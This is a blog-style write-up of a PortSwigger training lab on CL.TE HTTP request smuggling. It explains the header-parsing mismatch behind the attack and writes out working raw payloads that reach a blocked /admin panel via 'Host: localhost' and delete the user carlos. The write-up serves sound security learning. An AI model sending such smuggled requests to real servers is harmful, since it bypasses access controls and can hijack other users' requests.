Post

PortSwiggerlabs: Exploiting HTTP request smuggling to bypass front-end security controls, CL.TE vulnerability

PortSwiggerlabs: Exploiting HTTP request smuggling to bypass front-end security controls, CL.TE vulnerability

Information :

This lab involves a front-end and back-end server, and the front-end server doesn’t support chunked encoding. There’s an admin panel at /admin, but the front-end server blocks access to it.

To solve the lab, smuggle a request to the back-end server that accesses the admin panel and deletes the user carlos.

Solution :

Quick note:

HTTP Request Smuggling happens because of a disagreement between servers. In a typical setup you have a front-end (proxy, load balancer, CDN) forwarding requests to a back-end, and they share persistent TCP connections. The issue is that HTTP gives two ways to tell a server where a request body ends: Content-Length, which just counts bytes, and Transfer-Encoding: chunked, which sends the body in chunks ending with a zero-size chunk. When both headers are present in the same request, different servers may prioritize differently and that gap is what we exploit.

The idea is: you craft a request the front-end considers complete and forwards normally, but the back-end reads it differently and treats part of your body as leftover data sitting in the TCP buffer. That leftover then gets prepended to the next incoming request — yours or another user’s. That’s how you end up bypassing access controls, hijacking requests, or poisoning responses.

The three main variants are CL.TE, TE.CL, and TE.TE , basically which server trusts which header, or in the TE.TE case, how you obfuscate the Transfer-Encoding header enough that one server just ignores it entirely.

Before jumping into Burp, two things worth knowing: first, disable Update Content-Length in Repeater options , if Burp auto corrects your Content-Length you’re defeating the whole point. Second, make sure you’re sending over HTTP/1, not HTTP/2. When testing manually, timing delays are your main signal if the response hangs after your crafted request, the back-end is likely waiting for data that isn’t coming, which means it’s parsing things differently from the front-end. That’s your confirmation.

Now back to the lab:

image

First we send the request to Repeater :

image

Now first we need to detect if the app is vulnerable to HTTP Request Smuggling : I always like to follow this graph from Jarno Timmermans :

image

But you can use this guide from HackerReciepe :

1
https://www.thehacker.recipes/web/config/http-request-smuggling/#practice

Now first we send a specific request , that based on the response we will know if the backend and front end trust different Headers :

  • First Downgrade the request to HTTP1.1/
  • Then We change the request Method to POST
  • Then Remove Auto Length
  • Add Transfer-Encoding: chunked
  • Show Non-printable characters , this will be helpful when it comes to counting Bytes .
  • In the Boy , add
1
2
3
4
5
6
7
Content-Lenght: 6
Transfer-Encoding: chunked
\r\n
1\r\n
123\r\n
X\r\n
# The \r\n are just line separators (We can easily show them using burp) . 

Now in case Front end uses CL , it will send the first 6 bytes and ignore the rest , if the backend uses TE , it will wait for the terminating character , but since Front end only sent 6 bytes , the backend won’t know when the request will end and it will hang until we get a timeout .

image

Perfect we get a timeout , huge indicator that we got a CL.TE .

Now we can use this to smuggle our request to access the /admin Endpoint bypassing the front end verification .

The idea here is that we send 2 requests at Once , but the first one will have a terminating character so that the backend ends the first request and store the second one in the Buffer :

The buffer now has the second request for /admin page , then once we submit a normal request it will be appended to what was inside the buffer from earlier . so first it will access the Admin Endpoint instead .

1
2
3
4
5
6
7
8
9
Content-Lenght: 6
Transfer-Encoding: chunked
\r\n
\r\n
0\r\n
\r\n
####### For the Backend The Request ends here , Now we smuggle the second one :
GET /admin HTTP/1.1
X-Ignore: x

Let’s test this :

  • Downgrade to HTTP1.1 .
  • Add the Transfer-Encoding Header.
  • Add terminating character (For the backend server since we know it uses TE).
  • Add the Smuggled Request to access the /admin Endpoint

image

Pefect we get a 200 , this means the backend processed the first request and the second one is now in the buffer :

Now if we make a normal request :

image

We got an Unauthorized response , this means the second request was processed but we couldn’t Bypass the front end security control still .

Another thing we can try is add a Host header to make it look like it’s coming from the server itself .

1
2
3
4
5
6
7
8
9
10
11
POST / HTTP/1.1
Host: 0acf0013043eebb1819c4805004b00b2.web-security-academy.net
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Transfer-Encoding: chunked
Content-Length: 37
Content-Type: application/x-www-form-urlencoded

0

GET /admin HTTP/1.1
Host: localhost

image

Now if we send the normal request after this one :

image

We got a new error saying that duplicate headers are not allowed .

So probably the request that was sent looked something like this :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST / HTTP/1.1
Host: 0acf0013043eebb1819c4805004b00b2.web-security-academy.net
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Transfer-Encoding: chunked
Content-Length: 37
Content-Type: application/x-www-form-urlencoded

0

GET /admin HTTP/1.1
Host: localhostGET / HTTP/2
X-Ignore: xGET / HTTP/2
Host: 0acf0013043eebb1819c4805004b00b2.web-security-academy.net
Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"
Sec-Ch-Ua-Mobile: ?0
....

As we can see , there are 2 Host headers this time , which causes the error .

One way around this will be to move the normal request that will be appended to our smuggled request to our Request Body , by adding a parameter inside the Body and appending the entire request to it :

1
2
3
4
5
6
7
8
9
Content-Length: 41
Content-Type: application/x-www-form-urlencoded

0

GET /admin HTTP/1.1
Host: localhost

x=

By adding the x= with no return lines , the entire normal request will go there which will remove the error we had earlier .

But in this case we have to specify the content-length otherwise it will ignore our x since it will consider the content-length to be 0 .

So the final request should look something like this :

1
2
3
4
5
6
7
8
9
10
11
Content-Length: 41
Content-Type: application/x-www-form-urlencoded

0

GET /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 3

x=

We can specify the content-length to be anything as long as it’s bigger than 2 . so that it would append the normal request to it .

Now we send our Attack request :

image

Now expecting that the buffer has this part :

1
2
3
4
5
6
GET /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 3

x=

We just send a normal request and by default it will be appended to the x parameter .

image

And it does :) We are able to access the /admin Pannel .

Now to remove carlos , we can take a look at the URL for carlos deletion :

image

Perfect it’s via a GET request :

1
/admin/delete?username=carlos

Now all we need to do is try to access this endpoint instead of the /admin .

Same concept as before we just change the URL :

1
2
3
4
5
6
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 3

x=

Now if we send it :

image

Assuming it is stored inside the Buffer , we should be able to access it now if we just make a normal request :

image

Perfect, the redirection means it was deleted , now if we access the admin endpoint again (Same way we did earlier) :

image

We see that the user carlos was deleted and that we have solved the lab .

That was all for this lab, see you in the next one :)

This post is licensed under CC BY 4.0 by the author.